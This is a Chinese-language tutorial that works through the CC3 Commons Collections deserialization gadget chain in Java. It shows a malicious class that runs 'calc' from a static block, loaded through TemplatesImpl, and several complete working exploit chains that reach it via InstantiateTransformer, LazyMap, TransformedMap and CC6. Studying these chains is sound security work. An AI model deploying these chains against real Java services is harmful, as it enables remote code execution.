CC3
一.链子分析
CC1和CC6利用反射触发Runtime.getRuntime().exec()去执行命令的,但是往往很多时候代码中的黑名单都会选择禁用Runtime,而CC3不依靠Runtime类中的exec,而是利用类加载机制,动态加载恶意类来实现自动执行恶意类代码
所以首先要学一下java的类加载机制,推荐此文
(´∇`) 欢迎回来!
根据java类的动态加载原理,我们知道动态类加载可以通过ClassLoader来完成。而其中有个ClassLoader.defineClass可以从字节码加载任意类。然后利用在类加载过程的初始化步骤中会执行静态代码块,通过java的类加载机制,可以让类初始化时,会执行static静态区里的代码。可以测试一下
写一个恶意类
1
2
3
4
5
6
7
8
9
10
11
12
13
|
package CC3;
import java.io.IOException;
public class test {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e){
e.printStackTrace();
}
}
}
|
执行javac test.java命令生成.class文件。
然后我们写一个动态加载类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
package CC3;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URLClassLoader;
import java.net.URL;
public class CC3 {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException{
//URLClassLoader加载器需要传入一个url加载类
URLClassLoader urlClassLoader = new URLClassLoader(new URL[] {new URL("file:D:\\1\\代码集合\\java代码\\CC\\src\\main\\java\\CC3\\")});
Class<?> c = urlClassLoader.loadClass("CC3.URLClassLoader_test");
c.newInstance();
}
}
|

这里的话通过URLClassLoader加载器去动态加载类并初始化类对象,这里在初始化的时候执行了static静态区里面的代码,从而执行恶意命令
这里介绍一下上面用的几个异常类

ClassLoader 加载一个类时,它会调用自身的 defineClass() 方法来将类的字节码转换为 Class 对象,这也是我们的入手点

但defineClass只是加载类,不会执行类,如果要执行类,要先进行newInstance()实例化
而且此时defineClass是protected类型的,并不是我们预期的利用方法,我们尝试寻找一下public属性的defineClass()方法
1.TemplatesImpl之defineClass()
TemplatesImpl类继承了ClassLoader并且重写了defineClass方法,这里的话并没有写明是什么类型的方法,所以默认为default类型,可以在类中被调用,跟进看看被谁调用了
2.TemplatesImpl之defineTransletClasses
在defineTransletClasses()方法下发现了这个方法被调用了,但是是private类

继续跟进
3.TemplatesImpl之getTransletInstance
有3个地方调用了,但是为啥getTransletInstance可以,因为其有一个newInstance类的初始化,可以动态调用恶意类中的静态方法

但是该类是私有的,还得继续找
到这就就没错了,是public类型,而且还有序列化接口
所以链子就是
1
2
3
4
5
|
TemplatesImpl::newTransformer()->
TemplatesImpl::getTransletInstance()->
TemplatesImpl::defineTransletClasses()->
TemplatesImpl::defineClass()->
恶意类代码执行
|
二.问题解决
入口
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
package CC3;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
public class CC3 {
public static void main(String[] args) throws TransformerConfigurationException {
TemplatesImpl templates = new TemplatesImpl();
templates.newTransformer();
}
}
|
打个断点,调试,跳到newTransformer
(其实不用管newTransformer的参数,它肯定会调用getTransletInstance),接下来就进入到getTransletInstance
1.解决getTransletInstance中name为null的问题
发现name不能为null,_class为null,才会执行defineTransletClasses()方法
看看这两个变量,是私有
看看其构造函数(有2个构造函数,这个接收的对象是字节码,所以显然是这个),并没有对这两个变量进行赋初值操作,那我们正常用反射给_name一个String类型的值就行了
所以demo是
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
package CC3;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Field;
public class CC3 {
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException {
TemplatesImpl templates = new TemplatesImpl();
Class<?>c=templates.getClass();
Field _name=c.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates,"a");
templates.newTransformer();
}
}
|
打断点调试发现进入了defineTransletClasses()
2.解决defineTransletClasses中bytecodes为null的问题
进入defineTransletClasses发现_bytecodes没赋值,在definClass方法的调用中_bytecodes变量是作为一个一维数组传入的,这也是我们需要执行代码的地方

但是发现其声明的是二维数组
1
|
private byte[][] _bytecodes = null;
|
构建一维byte数组,为了适应defineClass接收的参数,并从文件里读byte(_bytecodes[i]是我们需要放入的恶意字节码,那我们修改这里的值为我们之前test测试时候的恶意类),然后把一维byte数组变成二维的交给_bytecodes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
package CC3;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class CC3 {
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException {
TemplatesImpl templates = new TemplatesImpl();
Class<?>c=templates.getClass();
Field _name=c.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates,"a");
Field _bytecodes=c.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\1\\代码集合\\java代码\\CC\\src\\main\\java\\CC3\\test.class")); //构建一维byte数组,为了适应defineClass接收的参数,并从文件里读byte
byte[][] codes = {code}; //把一维byte数组变成二维的交给_bytecodes
_bytecodes.set(templates,codes);
templates.newTransformer();
}
}
|
运行报错,一问ai是某些必要字段未被正确初始化,且ai提示可能是**_tfactory**未初始化,追踪一下
1
|
private transient TransformerFactoryImpl _tfactory = null;
|
这个变量有一个修饰符叫transient,代表着这个属性是不能被序列化的,意思是反序列化不能给它赋值。那我们只能通过readObject给它赋值了,我们看一下本类的readObject:
1
2
3
4
|
private void readObject(ObjectInputStream is) throws IOException, ClassNotFoundException{
…………
_tfactory = new TransformerFactoryImpl();
}
|
改代码有
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
package CC3;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class CC3 {
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException {
TemplatesImpl templates = new TemplatesImpl();
Class<?>c=templates.getClass();
Field _name=c.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates,"a");
Field _bytecodes=c.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\1\\代码集合\\java代码\\CC\\src\\main\\java\\CC3\\test.class")); //构建一维byte数组,为了适应defineClass接收的参数,并从文件里读byte
byte[][] codes = {code}; //把一维byte数组变成二维的交给_bytecodes
_bytecodes.set(templates,codes);
Field tfactoryField = c.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
templates.newTransformer();
}
}
|
运行发现报错

报了一个空指针错误,错误在TemplatesImpl类里的422行

if是判断TemplatesImpl类的父类是否是一个常量ABSTRACT_TRANSLET,如果是,就给_transletIndex赋值为i,如果不是,就进else。
可以看到,我们不满足if条件,进了else,这里的_auxClasses值是空的,所以才会报了空指针错误。
那么我们现在有两种办法:
1
|
一是使得if判断成立,给_transletIndex赋值,二是给_auxClasses赋值。
|
但是我们看下面还有一个if判断,判断_transletIndex是否小于0,如果我们不给_transletIndex赋值,那它的值默认是-1,就会小于0,进入下面那个if,然后抛出一个Error,代码也就执行不了了。所以这里的方法二是走不通了,我们只能走方法一,给_transletIndex赋值。
首先我们需要满足if条件,即我们执行代码的类的父类要是ABSTRACT_TRANSLET,我们进去看一眼这个常量是什么
1
2
|
private static String ABSTRACT_TRANSLET
= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
|
然后我们修改runtime.class类的父类。
因为AbstractTranslet是抽象类,所以我们要实现它所有的抽象方法。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
package CC3;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class test extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
|
把这个类编译一下。
然后我们拿着新的runtime.class再来执行一下我们写的链子。

三:链子衔接
其实这个链子有两条路可以走,一个就是寻找如何触发newTransformer(EXP1),另一个就是直接调用newTransformer()方法(EXP2),然后我们接下来看看怎么触发TemplatesImpl.newTransformer(),查找一下用法,找到了 TrAXFilter类的构造方法

1
2
3
4
5
6
7
8
|
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
package CC3;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class CC3 {
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException {
TemplatesImpl templates = new TemplatesImpl();
Class<?>c=templates.getClass();
Field _name=c.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates,"a");
Field _bytecodes=c.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\1\\代码集合\\java代码\\CC\\src\\main\\java\\CC3\\test.class")); //构建一维byte数组,为了适应defineClass接收的参数,并从文件里读byte
byte[][] codes = {code}; //把一维byte数组变成二维的交给_bytecodes
_bytecodes.set(templates,codes);
Field tfactoryField = c.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
new TrAXFilter(templates);
}
}
|
但是我们此时链子尚不完整,需要找到能代替实例化TrAXFilter的方法,CC3的作者并没有使用CC1的InvokerTransformer的transform而是用了InstantiateTransformer::transform()。
这里可以获取构造器并调用构造函数,看一下该类的构造函数
这里的话我们传入new Class[]{Templates.class} 与 new Object[]{templates} 就可以了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
package CC3;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class CC3 {
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException {
TemplatesImpl templates = new TemplatesImpl();
Class<?>c=templates.getClass();
Field _name=c.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates,"a");
Field _bytecodes=c.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\1\\代码集合\\java代码\\CC\\src\\main\\java\\CC3\\test.class")); //构建一维byte数组,为了适应defineClass接收的参数,并从文件里读byte
byte[][] codes = {code}; //把一维byte数组变成二维的交给_bytecodes
_bytecodes.set(templates,codes);
Field tfactoryField = c.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);
}
}
|
接下来可以找一下怎么触发transform方法了,这里可以跟CC1和CC6挂上关系
从上面可以看到,我们此时链子尚不完整,还是需要回到最终的readObject中,这时候我们可以接CC1_2的后半段了,也就是我们的
ChainedTransformer方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
|
package CC3;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException, NoSuchMethodException, InvocationTargetException, InvocationTargetException {
TemplatesImpl templates = new TemplatesImpl();
Class<?>c=templates.getClass();
Field _name=c.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates,"a");
Field _bytecodes=c.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\1\\代码集合\\java代码\\CC\\src\\main\\java\\CC3\\test.class")); //构建一维byte数组,为了适应defineClass接收的参数,并从文件里读byte
byte[][] codes = {code}; //把一维byte数组变成二维的交给_bytecodes
_bytecodes.set(templates,codes);
Field tfactoryField = c.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), instantiateTransformer);
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
// AnnotationInvocationHandler类实现自InvocationHandler接口
InvocationHandler ih = (InvocationHandler)declaredConstructor.newInstance(Override.class, lazyMap); // 注意这里传入lazpMap,给memberValues赋值
Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, ih); // 将InvocationHandler ih传入
InvocationHandler obj = (InvocationHandler)declaredConstructor.newInstance(Override.class, mapProxy);
serialize(obj);
unserialize("serialize");
}
public static void serialize(Object object) throws IOException{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("1.txt"));
oos.writeObject(object);
}
public static void unserialize(String filename) throws IOException, ClassNotFoundException{
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}
|
也可以接cc1_1,但是为了防止setValue() 的传参无法控制,需要引入 Transformer 与 ChainedTransformer 加以辅助。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
|
package CC3;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class<?>c=templates.getClass();
Field _name=c.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates,"a");
Field _bytecodes=c.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\1\\代码集合\\java代码\\CC\\src\\main\\java\\CC3\\test.class")); //构建一维byte数组,为了适应defineClass接收的参数,并从文件里读byte
byte[][] codes = {code}; //把一维byte数组变成二维的交给_bytecodes
_bytecodes.set(templates,codes);
Field tfactoryField = c.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map=new HashMap<>();
map.put("value","gxngxngxn"); //这里是问题二中改键值对的值为注解中成员变量的名称,通过if判断
Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,chainedTransformer);
Class b=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=b.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o=constructor.newInstance(Target.class,transformedmap); //这里是问题二中第一个参数改注解为Target
serialize(o);
unserialize("1.txt");
}
public static void serialize(Object object) throws IOException{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("1.txt"));
oos.writeObject(object);
}
public static void unserialize(String filename) throws IOException, ClassNotFoundException{
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}
|

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
|
package CC3;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class<?>c=templates.getClass();
Field _name=c.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates,"a");
Field _bytecodes=c.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\1\\代码集合\\java代码\\CC\\src\\main\\java\\CC3\\test.class")); //构建一维byte数组,为了适应defineClass接收的参数,并从文件里读byte
byte[][] codes = {code}; //把一维byte数组变成二维的交给_bytecodes
_bytecodes.set(templates,codes);
Field tfactoryField = c.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map=new HashMap<>();
map.put("value","gxngxngxn"); //这里是问题二中改键值对的值为注解中成员变量的名称,通过if判断
Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,chainedTransformer);
Class b=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=b.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o=constructor.newInstance(Target.class,transformedmap); //这里是问题二中第一个参数改注解为Target
serialize(o);
unserialize("1.txt");
}
public static void serialize(Object object) throws IOException{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("1.txt"));
oos.writeObject(object);
}
public static void unserialize(String filename) throws IOException, ClassNotFoundException{
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}
|
3.接入CC6
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
|
package CC3;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class<?>c=templates.getClass();
Field _name=c.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates,"a");
Field _bytecodes=c.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\1\\代码集合\\java代码\\CC\\src\\main\\java\\CC3\\test.class")); //构建一维byte数组,为了适应defineClass接收的参数,并从文件里读byte
byte[][] codes = {code}; //把一维byte数组变成二维的交给_bytecodes
_bytecodes.set(templates,codes);
Field tfactoryField = c.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// 通过decorate()方法获取到LazyMap对象,并将ChainedTransformer传入
HashMap<Object,Object> map = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map,new ConstantTransformer("1"));//在newLazyMap对象的时候,把factory属性随便写个没用的Transformer
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"key");
map.put(tiedMapEntry, "value"); //在put的时候lazymap里的factory属性是空,就不会触发hash
lazyMap.remove("key");
Class<LazyMap> lazyMapClass=LazyMap.class;//获取LazyMap对象的类
Field factory = lazyMapClass.getDeclaredField("factory"); //获取LazyMap对象的类中的factory属性
factory.setAccessible(true);//因为factory是private的变量,所以需要设置
factory.set(lazyMap,chainedTransformer);//设置factory值chainedTransformer
serialize(map);//在序列化的时候factory值又变成了chainedTransformer
unserialize("cc6.txt");
}
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6.txt"));
oos.writeObject(object);
oos.close();
}
//定义反序列化操作
public static void unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
}
|
CC3是绕过Runtime的好办法,贴一张总结
ALLCC.png (2461×458)
